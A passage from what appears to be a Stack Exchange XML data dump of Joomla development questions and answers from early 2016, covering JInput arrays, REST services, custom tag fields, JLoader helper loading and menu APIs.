3.0" />
  <row Id="15150" PostTypeId="1" AcceptedAnswerId="15157" CreationDate="2016-02-01T16:48:57.610" Score="0" ViewCount="179" Body="&lt;p&gt;How can I retrieve resource_id from the url below?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_ajax&amp;amp;module=booking_form&amp;amp;method=getBooking&amp;amp;format=json&amp;amp;Itemid=131&amp;amp;date=2016-02-04T00:00:00.000Z&amp;amp;end=1970-01-01T12:00:00.000Z&amp;amp;resource_id=43&amp;amp;resource_id=45&amp;amp;room=41&amp;amp;start=1970-01-01T10:00:00.000Z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried using the following code snippet&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input&#xA;$multiple_res = $jinput-&amp;gt;getVar('resource_id',array(),'', 'ARRAY');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7720" LastEditorUserId="115" LastEditDate="2016-02-01T22:44:16.220" LastActivityDate="2016-02-02T07:58:20.217" Title="Retrieve multiple values with $jinput" Tags="|joomla-3.x|jinput|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15152" PostTypeId="2" ParentId="15150" CreationDate="2016-02-01T20:40:24.080" Score="1" Body="&lt;p&gt;You need to be using &lt;code&gt;get&lt;/code&gt;, rather than &lt;code&gt;getVar&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;code&gt;resource_id&lt;/code&gt; appears to be an integer, not an array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput   = JFactory::getApplication()-&amp;gt;input;&#xA;$resource = $jinput-&amp;gt;get('resource_id', '', 'INT');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput   = JFactory::getApplication()-&amp;gt;input;&#xA;$resource = $jinput-&amp;gt;getInt('resource_id', '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-02-01T20:40:24.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15153" PostTypeId="2" ParentId="15142" CreationDate="2016-02-01T21:00:03.410" Score="4" Body="&lt;p&gt;The problem is I need to keep the language files inside &lt;code&gt;en-GB&lt;/code&gt; folder&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages&amp;gt;&#xA;   &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;language/en-GB/en-GB.mod_quickwrk.ini&amp;lt;/language&amp;gt;&#xA;   &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;language/en-GB/en-GB.mod_quickwrk.sys.ini&amp;lt;/language&amp;gt;&#xA; &amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;:-)&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2016-02-01T21:00:03.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15154" PostTypeId="1" CreationDate="2016-02-02T06:31:22.667" Score="3" ViewCount="3858" Body="&lt;p&gt;If I have to create &lt;code&gt;Web Services (REST/SOAP APIs)&lt;/code&gt; for Joomla based website.&#xA;I have MySQL DataBase running with Joomla website and I wanted to create mobile apps for that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using same Database how I can create Rest/Soap web services?&#xA;So if I write an article in Joomla site, it will display in mobile app as well. &#xA;&lt;br&gt;&lt;br&gt;I have few questions regarding this topic &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Should I use framework for this such as &lt;a href=&quot;http://www.slimframework.com/&quot; rel=&quot;nofollow&quot;&gt;Slim&#xA;Framework&lt;/a&gt; or other framework? (I know thats not a good idea because Joomla also runs a framework)  &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How I can secure it? &lt;br&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How to increase the performance?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="3637" LastEditDate="2016-02-03T05:48:49.437" LastActivityDate="2021-09-07T10:28:59.240" Title="What is the best way to create REST/SOAP/JSON Web Services for Joomla?" Tags="|joomla-3.x|restful-api|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15156" PostTypeId="1" CreationDate="2016-02-02T07:26:45.677" Score="1" ViewCount="275" Body="&lt;p&gt;I want to create a custom field : &lt;strong&gt;hobby&lt;/strong&gt; similar to TAG form field except one thing. I want to create this custom field for my component and therefore want to save the &lt;code&gt;hobby field&lt;/code&gt; values or tags in my own component table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I am using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;field name=&quot;hobbies&quot; type=&quot;tag&quot; mode=&quot;ajax&quot; label=&quot;Hobbies&quot; description=&quot;&quot; multiple=&quot;true&quot; custom=&quot;allow&quot; required=&quot;true&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By doing so, I am able to store custom tags but they are stored in &lt;code&gt;#__tags&lt;/code&gt; table. I want to change this and save it to my table &lt;code&gt;#__component_tag&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindly, guide me on this&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-03-30T12:08:54.597" Title="Create Custom form field similar to Tag form field type" Tags="|joomla-3.x|component|tags|custom-field|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15157" PostTypeId="2" ParentId="15150" CreationDate="2016-02-02T07:58:20.217" Score="1" Body="&lt;p&gt;You have to change your URL to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_ajax&amp;amp;module=booking_form&amp;amp;method=getBooking&amp;amp;format=json&amp;amp;Itemid=131&amp;amp;date=2016-02-04T00:00:00.000Z&amp;amp;end=1970-01-01T12:00:00.000Z&amp;amp;resource_id[]=43&amp;amp;resource_id[]=45&amp;amp;room=41&amp;amp;start=1970-01-01T10:00:00.000Z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise it will only get last &lt;code&gt;resource_id&lt;/code&gt; value (&lt;code&gt;45&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And get array of both values&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$resource = $jinput-&amp;gt;get('resource_id', array(), 'ARRAY');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;results in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( [0] =&amp;gt; 43 [1] =&amp;gt; 45 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-02-02T07:58:20.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15158" PostTypeId="2" ParentId="15118" CreationDate="2016-02-02T09:46:05.940" Score="1" Body="&lt;p&gt;In Joomla, the POST,GET,REQUEST method is achieved through &lt;code&gt;jinput&lt;/code&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example Code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$jinput= JFactory::getApplication()-&amp;gt;input;&#xA; $data = $app-&amp;gt;post-&amp;gt;get('variablename','defaultvalue','filter');&#xA;&lt;/code&gt;&#xA;Refernce Link: &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Retrieving_request_data_using_JInput&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For logout method, a task is defined here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;user.logout&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tasks are defined in master/sub-controllers which are basically functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this go to &lt;code&gt;components/com_users/controllers/user.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this file, you will find a &lt;code&gt;logout&lt;/code&gt; function which performs the logout methodology. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-02-02T09:46:05.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15160" PostTypeId="1" CreationDate="2016-02-02T10:45:16.613" Score="2" ViewCount="644" Body="&lt;p&gt;When I open a password-protected joomla-site in Firefox, after login I can see its RSS-feed. But when I try to subscribe to that feed via Outlook, it opens a &quot;failed to open website&quot; window instead, failing to add the feed, and there seems to be no way to tell Outlook how to login. Is there any way to configure either Outlook or Joomla (e.g. via a &lt;code&gt;?username=...&lt;/code&gt; switch in the the RSS-URL) such that the RSS can be subscribed to while remaining protected?&lt;/p&gt;&#xA;" OwnerUserId="7724" LastActivityDate="2016-02-02T11:38:46.010" Title="How to subscribe to a password-protected feed with Outlook?" Tags="|login|rss|account-password|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15161" PostTypeId="2" ParentId="15160" CreationDate="2016-02-02T11:38:46.010" Score="1" Body="&lt;p&gt;If I were you, I would try following syntax for RSS URL in Outlook:&lt;br&gt;&#xA;&lt;code&gt;http://&amp;lt;username&amp;gt;:&amp;lt;password&amp;gt;@&amp;lt;full rss url&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-02-02T11:38:46.010" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15162" PostTypeId="2" ParentId="15148" CreationDate="2016-02-02T17:13:31.713" Score="1" Body="&lt;p&gt;Your question is rather briefly formulated (feel free to elaborate) and does not give the exact context, but as far as I can tell, you want to manage your users with Joomla (for whatever reasons) and want to be able to authenticate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla does not offer out of the box an API to be able to authenticate the users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can imagine it could be quite easy to draft a solution where you expose an RESTful API via a component which allows you to authenticate the users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, things may get complicated as soon as you need to save things in the session...&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2016-02-02T17:13:31.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15163" PostTypeId="1" AcceptedAnswerId="15200" CreationDate="2016-02-02T18:36:49.900" Score="2" ViewCount="544" Body="&lt;p&gt;What I'm trying to do is create 2 separate menu systems for a website.   1 menu would drive the Product Information &amp;amp; sales portion of the website.   The second menu would drive the online play portion of the website.   I've created a top menu that can interact to change between the sides of the side.   My problem is that I want the site to select the appropriate menu when you click on the link in the top menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can view the test site at &lt;a href=&quot;http://www.p3proswing.com/site3&quot; rel=&quot;nofollow&quot;&gt;www.p3proswing.com/site3&lt;/a&gt;.   When you click on P3ProSwing it would go to the current menu.   When you click on P3 Live, I want the secondary menu that appears to be in the same style as the original menu but replace the original menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Gantry 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7700" LastEditorUserId="115" LastEditDate="2016-02-02T22:08:50.247" LastActivityDate="2016-02-04T20:38:48.223" Title="Multiple menus in Gantry" Tags="|joomla-3.x|menu|gantry|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15165" PostTypeId="1" AcceptedAnswerId="15166" CreationDate="2016-02-02T21:26:17.440" Score="2" ViewCount="1290" Body="&lt;p&gt;I have a model pulling data from two external API's, concatenating the returned arrays, and a view template that displays it. I have a sub-view that will need only one of the API's. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is this:&lt;br&gt;&#xA;What's actually initiating the model request to the API?&lt;br&gt;&#xA;The &lt;strong&gt;view.html.php&lt;/strong&gt;, or the &lt;strong&gt;view templates&lt;/strong&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's the view.html.php file, then there's no need for a second model method and I can just reuse the request.&lt;br&gt;&#xA;If the view template is pulling it, then cutting the API requests in half would make the request faster.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;models/domains.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getPrices() {&#xA;        $dispatcher = JEventDispatcher::getInstance();&#xA;        $prices = $dispatcher-&amp;gt;trigger('getData', 'products/customer-price.json');&#xA;        $cats = $dispatcher-&amp;gt;trigger('getData', 'products/category-keys-mapping.json');&#xA;&#xA;        $result = array();&#xA;        $result[]['product'] = $cats[0];&#xA;        $result[]['prices'] = $prices[0];&#xA;&#xA;        if (isset($cats[0]['status'])) {&#xA;            JError::raiseError(400, $cats[0]['ERROR']);&#xA;            return false;&#xA;        } else {&#xA;            if (!isset($this-&amp;gt;prices)) {&#xA;                $this-&amp;gt;prices = $result;&#xA;            }&#xA;            return $this-&amp;gt;prices;&#xA;        }&#xA;    }&#xA;&#xA;    public function getTlds() {&#xA;        $dispatcher = JEventDispatcher::getInstance();&#xA;        $cats = $dispatcher-&amp;gt;trigger('getData', 'products/category-keys-mapping.json');&#xA;        $dispatcher-&amp;gt;trigger('end');&#xA;&#xA;        $result = array();&#xA;        $result[]['product'] = $cats[0];&#xA;&#xA;        if (isset($cats[0]['status'])) {&#xA;            JError::raiseError(400, $cats[0]['ERROR']);&#xA;            return false;&#xA;        } else {&#xA;            if (!isset($this-&amp;gt;tlds)) {&#xA;                $this-&amp;gt;tlds= $result;&#xA;            }&#xA;            return $this-&amp;gt;tlds;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;views/domains/view.html.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display($tpl = null) {&#xA;    // Assign data to the view&#xA;    $this-&amp;gt;prices = $this-&amp;gt;get('prices');&#xA;    $this-&amp;gt;tlds = $this-&amp;gt;get('tlds');&#xA;&#xA;    // Check for errors.&#xA;    if (count($errors = $this-&amp;gt;get('Errors'))) {&#xA;        JLog::add(implode('&amp;lt;br /&amp;gt;', $errors), JLog::WARNING, 'jerror');&#xA;        return false;&#xA;    }&#xA;&#xA;    // Display the view&#xA;    parent::display($tpl);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2082" LastEditorUserId="126" LastEditDate="2016-02-03T12:04:52.820" LastActivityDate="2016-11-20T16:40:57.993" Title="Model / View pulling data from external API(s)" Tags="|joomla-3.x|mvc|restful-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15166" PostTypeId="2" ParentId="15165" CreationDate="2016-02-03T00:16:55.830" Score="5" Body="&lt;p&gt;You can actually do it either way depending on which method you prefer. The way you are currently calling the functions in the view.html.php file is fairly common but you can also call those functions from within your layout (sub-view?) by including the model on that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Layout 1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = JModelLegacy::getInstance('ViewName','ComponentNameModel');&#xA;$prices = $model-&amp;gt;getPrices();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Layout 2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = JModelLegacy::getInstance('ViewName','ComponentNameModel');&#xA;$ids = $model-&amp;gt;getIds();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just make sure that ViewName is the name of your current view and ComponentNameModel is the name of your component followed by Model&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: com_users component&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = JModelLegacy::getInstance('Login','UsersModel');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Login is the name of the view and Users is the name of the component)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$prices = $model-&amp;gt;getPrices();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For a bit more clarification the model name can be whatever model you want to include in the template file, it doesn't have to be the name of the current view's model. If you wanted to include a &quot;Common&quot; model as well as your normal view model you can include both. I use this method a lot with my component development. I keep the common tasks (text formatting etc.) in a common model and include that with my view model.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-03T00:16:55.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15167" PostTypeId="2" ParentId="15163" CreationDate="2016-02-03T00:25:15.227" Score="1" Body="&lt;p&gt;Create 2 menus and 2 menu modules, 1 for your play side and 1 for your sales side. In the module options just assign specific menu items where each one should show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu &gt; Manage &gt; Add New Menu -&gt; name if sales&#xA;Menu &gt; Manage &gt; Add New Menu -&gt; name if play&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add menu items to each of those menus you want your users to see&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extensions &gt; Modules &gt; New Module &gt; Menu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assign the menu module to the correct menu you created and assign specific menu items to it and voila done.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-03T00:25:15.227" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15168" PostTypeId="2" ParentId="14669" CreationDate="2016-02-03T00:38:45.153" Score="1" Body="&lt;p&gt;I don't believe that the default Joomla template or user system has a method of alerting a user when password requirements have been met during registration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do however is create a jquery script and load it on your registration page that does this for you. Take a peek at &lt;a href=&quot;http://www.webdesignerdepot.com/2012/01/password-strength-verification-with-jquery/&quot; rel=&quot;nofollow&quot;&gt;jQuery Password Strength Verification&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install the Flexi Custom Code Module from the JED, create your jQuery script and publish it to the debug position of your template on the registration page. Shouldn't take very long at all to cobble together following the example.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-03T00:38:45.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15169" PostTypeId="2" ParentId="14152" CreationDate="2016-02-03T00:57:16.620" Score="1" Body="&lt;p&gt;In simplest terms both are subcontrollers for JControllerLegacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JControllerAdmin is essentially the controller for tasks such as displaying a list of records from the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JControllerForm is the controller for tasks that act upon data being edited for database entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to the Joomla Docs that sums it up pretty well &lt;a href=&quot;https://docs.joomla.org/JController_and_its_subclass_usage_overview&quot; rel=&quot;nofollow&quot;&gt;JController Overview&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-03T00:57:16.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15170" PostTypeId="2" ParentId="14614" CreationDate="2016-02-03T02:31:46.807" Score="3" Body="&lt;p&gt;Use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu           =&amp;amp; JSite::getMenu();&#xA;$activeMenu     = $menu-&amp;gt;getActive();&#xA;$Itemid         = $activeMenu-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu =&amp;amp; JSite::getMenu();&#xA;$activeMenu     = $menu-&amp;gt;getActive();&#xA;$Itemid         = $activeMenu-&amp;gt;query['Itemid'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get your message being passed you need to retrieve it from the application input&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$JInput = JFactory::getApplication()-&amp;gt;input;&#xA;$message = $JInput-&amp;gt;get('message','','string');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-03T02:31:46.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15171" PostTypeId="1" AcceptedAnswerId="15175" CreationDate="2016-02-03T03:28:38.493" Score="0" ViewCount="1135" Body="&lt;p&gt;I want to create a &lt;strong&gt;Joomla menu&lt;/strong&gt; from  &lt;strong&gt;scratch&lt;/strong&gt; &lt;strong&gt;myself&lt;/strong&gt;!&lt;br&gt;&#xA;I studied a bit about the Joomla API, I know I should use &lt;strong&gt;Jmenu&lt;/strong&gt;,but when I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;?php $M=Jmenu::load();&#xA;    echo $M;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it returns some errors: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Notice: Array to string conversion in K:\xampp\htdocs\mag2\templates\mymagazine4\index.php on line 7&#xA;  Array&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;or &lt;strong&gt;print nothing&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is link Jmenu &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JMenu.html&quot; rel=&quot;nofollow&quot;&gt;Jmenu&lt;/a&gt; -&lt;br&gt;&#xA;How should I use it to show a menu???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for reply&lt;/p&gt;&#xA;" OwnerUserId="7732" LastEditorUserId="126" LastEditDate="2016-02-03T12:03:29.560" LastActivityDate="2016-02-03T12:03:29.560" Title="Which API joomla 3 return menus and submenu for site that created by admin?" Tags="|joomla-3.x|php|joomla-api|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15172" PostTypeId="1" AcceptedAnswerId="15174" CreationDate="2016-02-03T07:05:01.883" Score="7" ViewCount="8010" Body="&lt;p&gt;I have created a helper file &lt;code&gt;test.php&lt;/code&gt; as following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;administrator/components/com_compname/helpers/test.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class TestHelper{&#xA;   //class methods&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;controllers/subcontrollername.php&lt;/strong&gt;&#xA;We can use either of them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;code&gt;require_once(JPATH_COMPONENT.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'test.php' );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;code&gt;JLoader::register('TestHelper','/path/to/test.php');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am wondering which of the two is appropriate and why or does this even matter or not. Can anyone please guide me on this.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="3944" LastEditDate="2016-02-03T08:08:55.653" LastActivityDate="2016-02-05T07:23:17.537" Title="Best way to include helper class in sub-controller : require_once or JLoader" Tags="|joomla-3.x|component|controller|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15173" PostTypeId="2" ParentId="15096" CreationDate="2016-02-03T07:27:18.623" Score="1" Body="&lt;p&gt;Please test this Pull Request/Patch:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/9035&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/9035&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2016-02-03T07:27:18.623" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15174" PostTypeId="2" ParentId="15172" CreationDate="2016-02-03T08:08:06.320" Score="10" Body="&lt;p&gt;Actually &lt;code&gt;JLoader::register('TestHelper','/path/to/test.php');&lt;/code&gt; dosen't load file, it just registers it to be able to autoload file if class is instantiated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Do require it instantly, you want to use:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::import('TestHelper','/path/to/test.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: for this your file name should be &lt;code&gt;TestHelper.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which will&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;include_once&lt;/code&gt; the file if it exists (with &lt;code&gt;require_once&lt;/code&gt; you would get PHP error, if it dosen't exist. Now you would get pretty Joomla! error).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Will remember that this file is already loaded and wont &lt;code&gt;include_once&lt;/code&gt; it again. This results in minor performance gain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;which won't&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;JLoader::register()&lt;/code&gt; your class, so you can't use &lt;code&gt;JLoader::load()&lt;/code&gt; later.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;All in all:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Minor performance gain.&lt;/li&gt;&#xA;&lt;li&gt;It's good practice to follow coding style of framework (though Joomla! dosen't do it everywhere itself).&lt;/li&gt;&#xA;&lt;li&gt;You can use dot notation for class name (not applicable for &lt;code&gt;*Helper&lt;/code&gt; classes.).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Dot notation example&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;jimport('sub.path.classname','/path/to/')&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;would &lt;code&gt;include_once&lt;/code&gt; file in &lt;code&gt;/path/to/sub/path/classname.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JLoader::import('TestHelper','/path/to/test.php')&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;has shorthand &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;jimport('TestHelper','/path/to/test.php')&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2016-02-05T07:23:17.537" LastActivityDate="2016-02-05T07:23:17.537" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15175" PostTypeId="2" ParentId="15171" CreationDate="2016-02-03T08:31:44.817" Score="2" Body="&lt;p&gt;You have to get instance of menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = JMenu::getInstance('site'); // or 'administrator' for back-end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will load all items for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now you can:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Get all menu items&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$allMenuItems = $menu-&amp;gt;getItems($attributes = array(), $values = array());&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get default item (homepage)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$defaultMenuItem = $menu-&amp;gt;getDefault($language = '*');&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To print your menu links, start with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = JMenu::getInstance('site');&#xA;$allMenuItems = $menu-&amp;gt;getItems($attributes = array(), $values = array());&#xA;if (count($allMenuItems)&amp;gt;0) {&#xA;  foreach ($allMenuItems as $menuItem) {&#xA;    echo '&amp;lt;a 